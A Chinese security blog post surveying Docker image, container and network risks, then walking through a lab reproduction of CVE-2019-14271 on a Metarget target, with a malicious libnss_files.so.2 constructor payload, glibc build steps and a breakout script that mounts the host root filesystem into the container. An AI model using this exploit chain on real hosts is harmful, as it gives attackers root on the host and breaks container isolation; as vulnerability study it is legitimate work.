本文博客地址:https://security.blog.csdn.net/article/details/128966455

一、Docker存在的安全风险

1.1、Docker镜像存在的风险

不安全的第三方组件:用户自己的代码依赖若干开源组件,这些开源组件本身又有着复杂的依赖树,甚至最终打包好的业务镜像中还包含完全用不到的开源组件。这导致许多开发者可能根本不知道自己的镜像中到底包含多少以及哪些组件。包含的组件越多,可能存在的漏洞就越多,大量引入第三方组件的同时也大量引入了风险。

恶意镜像:一些公共镜像仓库中可能存在一些恶意镜像,如果使用了这些镜像或把这些镜像作为基础镜像,就会产生相应的风险。

敏感信息泄露:为了开发、调试方便,开发者可能会将敏感信息如数据库密码、证书和私钥等内容直接写到代码中,或者以配置文件形式存放。构建镜像时,这些敏感内容被一并打包进镜像,甚至上传到公开的镜像仓库,从而造成敏感数据泄露。

Docker镜像存在的安全风险:

1.2、Docker容器存在的风险

安全漏洞:容器应用代码也会存在SQL注入、XSS等安全漏洞,容器默认情况下连接到由docker0网桥提供的子网中。如果在启动时配置了端口映射,容器就能够对外提供服务。在这种情况下,这些安全漏洞就有可能被外部攻击者利用。

不受限制的资源共享:在默认情况下,Docker并不会对容器的资源使用进行限制。也就是说,默认配置启动的容器理论上能够无限使用宿主机的CPU、内存、硬盘等资源。如果容器使用了过多资源,就会对宿主机及宿主机上的其他容器造成影响,甚至形成资源耗尽型攻击。

隔离性风险:不安全的配置和挂载也可能容器的隔离性将被打破,进而导致安全风险。

1.3、其他风险

容器网络的风险:容器内的root用户虽然被Docker禁用了许多权限(Capabilities机制),但它目前依然具有CAP_NET_RAW权限,具备构造并发送ICMP、ARP等报文的能力。因此,ARP欺骗、DNS劫持等中间人攻击是可能发生在容器网络的。

管理接口的风险:Docker守护进程主要监听两种形式的Socket:UNIX socket和TCP socket,接口如果配置不当,攻击者可能会利用相应的权限实现容器逃逸,实现对目标主机的控制。

软件漏洞的风险:任何软件都存在漏洞。

1.4、容器逃逸

不安全配置导致的容器逃逸:用户可以通过修改容器环境配置或在运行容器时指定参数来调整约束,如果用户为容器设置了某些危险的配置参数,就为攻击者提供了一定程度的逃逸可能性。

不安全挂载导致的容器逃逸:为了方便宿主机与虚拟机进行数据交换,几乎所有主流虚拟机解决方案都会提供挂载宿主机目录到虚拟机的功能。容器同样如此。然而,将宿主机上的敏感文件或目录挂载到容器内部,尤其是那些不完全受控的容器内部,往往会带来安全问题。

相关程序漏洞导致的容器逃逸:这里的相关程序漏洞,指的是那些参与到容器生态中的服务端、客户端程序自身存在的漏洞。

内核漏洞导致的容器逃逸:从操作系统层面来看,容器进程只是一种受到各种安全机制约束的进程,因此从攻防两端来看,容器逃逸都遵循传统的权限提升流程。攻击者可以凭借此特点拓展容器逃逸的思路,一旦有新的内核漏洞产生,就可以考虑它是否能够用于容器逃逸。

二、加载不受信任的动态链接库漏洞实践(CVE-2019-14271)

2.1、背景

在19.03.x及若干非正式版本的Docker中,docker cp命令依赖的docker-tar组件会加载容器内部的nsswitch动态链接库,但自身却并未被容器化,攻击者可通过劫持容器内的nsswitch动态链接库来实现对宿主机进程的代码注入,获得宿主机上root权限的代码执行能力。

该漏洞的核心问题在于高权限进程自身并未容器化,却加载了不可控的容器内部的动态链接库。一旦攻击者控制了容器,就可以通过修改容器内动态链接库来实现在宿主机上以root权限执行任意代码。

2.2、准备工作

1、安装Ubuntu-18操作系统,这个就不再细说了

2、安装Docker先前操作:

# 添加索引
sudo apt update
sudo apt install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 导入源仓库的GPG key
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 添加Docker APT软件源
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 查看docker版本
apt list -a docker-ce# 安装指定版本
apt install docker-ce=5:19.03.3~3-0~ubuntu-bionic docker-ce-cli=5:19.03.3~3-0~ubuntu-bionic containerd.io

3、添加Docker源:

cd /etc/docker
vim daemon.json
--------------------------------------------------------------------------------------------------
{"registry-mirrors" : ["https://registry.docker-cn.com","http://hub-mirror.c.163.com","https://docker.mirrors.ustc.edu.cn","https://cr.console.aliyun.com","https://mirror.ccs.tencentyun.com"]
}
--------------------------------------------------------------------------------------------------# 重启Docker让服务生效
systemctl daemon-reload
systemctl restart docker.service

4、安装M4:

wget https://ftp.gnu.org/gnu/m4/m4-1.4.19.tar.gz
tar -zxvf m4-1.4.19.tar.gz
cd m4-1.4.19
./configure
make
make install

5、安装bison:

wget http://ftp.gnu.org/gnu/bison/bison-3.8.2.tar.gz
tar -zxvf bison-3.8.2.tar.gz
cd ../bison-3.8.2
make
make install
ln -s /usr/bin/bison /usr/local/bin/bison

2.3、安装靶机环境

1、安装环境

git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt

2、安装该漏洞的Docker

./metarget cnv install cve-2019-14271

如果不报错,则表明安装成功了,如下所示:

2.4、确定目标

运行一个容器:

docker run -itd --name=14271 ubuntu bash

拿到容器的绝对路径,然后对其进行监控:

由上图可知,返回的workdir数据为:

workdir=/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/work
# 那么容器的根目录在宿主机上的绝对路径为:
/var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged

另起一个终端,使用inotifywait工具,在宿主机上监听容器文件系统中lib目录的事件:

apt install inotify-tools
inotifywait -mr /var/lib/docker/overlay2/7a25294970ebd49a4f3b319412445195bb788b9a8a408ff01b5e2ca056814a08/merged/lib


执行docker cp命令:

docker cp 14271:/etc/passwd ./

此时在监控终端上就能看到inotifywait的输出:

可以看到,在这次复制操作中,docker-tar加载了libnss_files.so.2,接下来,我们以libnss_files.so.2为目标,构造一个恶意的动态链接库来替换它。

2.5、构建动态链接库

由于libnss_files.so.2在Glibc中,因此需要先下载Glibc库并解压:

wget https://ftp.gnu.org/gnu/glibc/glibc-2.27.tar.bz2
tar -vxjf glibc-2.27.tar.bz2

注释掉glibc-2.27/Makeconfig文件中的一行警告设置,避免加入恶意payload后编译失败(第823行):

vim glibc-2.27/Makeconfig
---------------------------------------------------------------------------
# gccwarn-c = -Wstrict-prototypes -Wold-style-definition

在glibc-2.27/nss/nss_files/目录下任意源码文件中添加恶意payload,把真正具有威胁的操作写入容器内/breakout脚本文件中,让动态链接库里的payload去执行/breakout脚本文件即可。

payload代码:

//容器内部原始libnss_files.so.2文件的备份位置
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
//恶意libnss_files.so.2的位置
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
//带有constructor属性的函数会在动态链接库被加载时自动执行
__attribute__ ((constructor)) void run_at_link(void) {char * argv_break[2];//判断当前是否是容器外的高权限进程(也就是docker-tar)//如果是容器内进程,则不做任何操作if (!is_priviliged())return;//攻击只需要执行一次即可//用备份的原始libnss_files.so.2文件替换恶意libnss_files.so.2文件//避免后续的docker cp操作持续加载恶意libnss_files.so.2文件rename(ORIGINAL_LIBNSS, LIBNSS_PATH);//以docker-tar进程的身份创建新进程,执行容器内/breakout脚本if (!fork()) {//Child runs breakoutargv_break[0] = strdup("/breakout");argv_break[1] = NULL;execve("/breakout", argv_break, NULL);}elsewait(NULL); //Wait for childreturn;
}

恶意libnss_files.so.2文件被加载时,首先会判断当前加载进程是否为docker-tar进程,如果是,则以当前进程的身份执行/breakout脚本。由于docker-tar已经执行了chroot命令,/breakout路径指向的是容器内根目录下的脚本,但由于docker-tar并未做其他命名空间级别上的隔离,因此/breakout会以docker-tar自身的root权限在宿主机命名空间内执行。

执行编译:

export LIBRARY_PATH=/usr/lib/x86_64-linux-gnu/
mkdir glibc-build
cd glibc-build
# --disable-werror  避免高版本gcc把警告当成错误
# --disable-profile  不要碰配置信息
../glibc-2.27/configure --prefix=/usr/local/glibc-2.27  --disable-profile --disable-werror
# -i是为了忽略错误
make -i

编译结束后,glibc-build/nss/libnss_files.so就是我们需要的恶意动态链接库文件。

2.6、实现逃逸

现在,我们已经有了恶意的动态链接库文件libnss_files.so。在存在漏洞的Docker环境中,如果用户执行了docker cp,后台的docker-tar进程在执行了chroot命令后一旦加载恶意文件libnss_files.so,那么容器内的/breakout脚本就会以docker-tar身份执行。

由于docker-tar已经切换了根目录,但还没有加入容器的命名空间,我们考虑在/breakout中执行挂载操作,由docker-tar将宿主机根目录挂载到容器内的/host_fs路径——这样一来,我们就实现了文件系统层面的容器逃逸。

(宿主机)创建breakout脚本文件:

vim breakout
----------------------------------------------------------------------------------------------------
#!/bin/bash
# /breakout的内容
# 首先确保容器内/host_fs路径空闲可用
umount /host_fs && rm -rf /host_fs
mkdir /host_fs
# 挂载宿主机的procfs伪文件系统
mount -t proc none /proc
# 挂载宿主机根目录到/host_fs
cd /proc/1/root
mount --bind . /host_fs

创建一个容器:

docker run -itd --name=victim ubuntu

将breakout脚本放入victim容器根目录:

docker cp breakout victim:/

(宿主机)查找libnss_files.so.2符号链接指向的库文件:

运行:
readlink -f /home/ubuntu/glibc-build/nss/libnss_files.so.2
返回:
/usr/lib/x86_64-linux-gnu/libnss_files.so
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /usr/lib/x86_64-linux-gnu/libnss_files.so
返回:
/lib/x86_64-linux-gnu/libnss_files.so.2
(该文件为链接文件,需要继续溯源)
-----------------------------------------------------------------------------------------------------
运行:
readlink -f /lib/x86_64-linux-gnu/libnss_files.so.2
返回:
/lib/x86_64-linux-gnu/libnss_files-2.27.so
(该文件为真实文件)

(宿主机)将回显的这个文件(/lib/x86_64-linux-gnu/libnss_files-2.27.so)移动到容器的根目录,并重命名:

# 复制到容器根目录
docker cp /lib/x86_64-linux-gnu/libnss_files-2.27.so victim:/
# 进入容器
docker exec -it victim bash
# 重命名文件
mv libnss_files-2.27.so original_libnss_files.so.2

将编译后产生恶意文件放到重命名为libnss_files.so.2,放在容器内/lib/x86_64-linux-gnu目录下:

# 重命名
mv libnss_files.so libnss_files.so.2
# 移动
docker cp libnss_files.so.2 victim:/lib/x86_64-linux-gnu/

此处我们仅作为验证,因此也或者直接将前面开源靶机metarget的EXP文件传入即可,位置如下:

metarget/writeups_cnv/docker-cve-2019-14271/exp/libnss_files.so.2

模拟执行docker cp操作:

docker cp victim:/etc/passwd ./

执行后,漏洞被触发,我们进入容器进行验证:

# 进入容器
docker exec -it victim bash# 容器内部已经可以看到挂载的/host_fs
cat /host_fs/etc/hostname

可见已经实现了容器逃逸,显示了宿主机的hostname:

容器安全风险and容器逃逸漏洞实践相关推荐

  1. runc容器逃逸漏洞最强后续:应对之策汇总与热点疑问解答

    美国时间2019年2月11日晚,runc通过oss-security邮件列表披露了runc容器逃逸漏洞CVE-2019-5736的详情.runc是Docker.CRI-O.Containerd.Kub ...

  2. 容器 root权限运行_【漏洞通告】Containerd容器逃逸漏洞通告 (CVE202015257)

    2020年12月1日,Containerd发布更新,修复了一个可造成容器逃逸的漏洞CVE-2020-15257,并公开了相关说明.通过受影响的API接口,攻击者可以利用该漏洞以root权限执行代码,实 ...

  3. 新近爆出的runC容器逃逸漏洞,用户如何面对?

    runC是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI工具,目前Docker引擎内部也是基于runc构建的. 2019年2月11日,研究人员通过oss ...

  4. 宿主机进程挂载到容器内_迄今为止最严重的容器逃逸漏洞:Docker cp命令漏洞分析(CVE201914271)...

    摘要 在过去几年中,我们在各种容器平台(包括Docker.Podman和Kubernetes)中发现了copy(cp)命令中存在多个漏洞.其中,迄今为止最严重的的一个漏洞是在今年7月被发现和披露的.然 ...

  5. [漏洞分析] CVE-2022-0492 容器逃逸漏洞分析

    CVE-2022-0492 容器逃逸分析 文章目录 CVE-2022-0492 容器逃逸分析 漏洞简介 环境搭建 漏洞原理与相关知识 漏洞发生点 cgroup 简介 cgroup 使用 release ...

  6. 发现一款容器逃逸漏洞利用神器!

    有在关注容器逃逸漏洞,最近在github上发现了一款零依赖Docker/K8s渗透工具包,集成了多个漏洞PoC/EXP,可轻松逃脱容器并接管K8s集群. CDK- 零依赖Docker/K8s渗透工具包 ...

  7. 容器技术在企业落地的最佳实践

    作者 | 易立  阿里云资深技术专家 导读:近年来,容器技术及相关应用得到了国内外越来越多的关注度.在国外,容器技术已经形成了较成熟的生态圈:而在国内,金融企业.互联网企业.IT 企业积极投入容器技术 ...

  8. Runc容器运行过程及容器逃逸原理

    原文链接:https://ethantang.top/posts/runc-container/ 在每一个Kubernetes节点中,运行着kubelet,负责为Pod创建销毁容器,kubelet预定 ...

  9. 容器化技术如何在数据中心实践

    容器化技术是大势所趋,容器云将凭借快速部署.便捷运维等特性在物联网.边缘计算等行业中大放异彩. 主讲人|又拍云首席布道师 运维总监 邵海杨 自从虚拟化技术和云计算服务出现以来,IT公司都将虚拟机作为降 ...

最新文章

  1. windows7基本操作学习笔记
  2. EMD算法原理与python实现
  3. java 反序列化工具 marshalsec改造 加入dubbo-hessian2 exploit
  4. Uva10285 Longest Run on a Snowboard
  5. 一个对复用view下滑动流畅度优化,图片和内存处理,稳定性都非常强大的android开源框架(beyondPhysics)...
  6. python 基础篇(一)--linux命令篇
  7. P1460 健康的荷斯坦奶牛 Healthy Holsteins (简单的dfs)
  8. bcrypt java maven_BCrypt.checkpw()无效的盐版本异常
  9. 在win7在结构cocos2d-x v3.2rc0开发环境(For Android)
  10. Android系统证书 platform.x509.pem platform.pk8转换为.keystore文件
  11. 图片节点html,Qunee for HTML5 - 中文 : 节点图片
  12. centos7安装boost记录
  13. PSNR、SSIM、BD-rate和BD-PSNR
  14. 笔记本电脑外接显示器以后检测不到笔记本电脑原来的显示器,把hdmi拔出来了也没用
  15. 虚拟机中修改虚拟网络编辑器无效
  16. pr制作马赛克的效果,动态光效素材应用,
  17. SpringBoot配置过滤器和拦截器
  18. 读《消失的真实》有感
  19. XX is not defined import impor了还是not defined ant design组件import还是not defined
  20. 光纤之父高锟获英女王封爵

热门文章

  1. JeeSite 快速开发平台
  2. 这几个实用的电脑技巧分享给需要的你
  3. 为什么云计算必须变“硬”?
  4. ❤️‍【GaussDB精品课第6期】数据库和应用迁移UGO服务❤️‍
  5. WPF控件之WrapPanel的用法
  6. android 升级代码,一句代码实现Android版本更新功能
  7. 班级考勤管理系统 数据结构 C语言
  8. Ladder Side-Tuning:预训练模型的“过墙梯”
  9. 学生成绩管理程序(C语言版)
  10. 推箱子游戏C++实现原理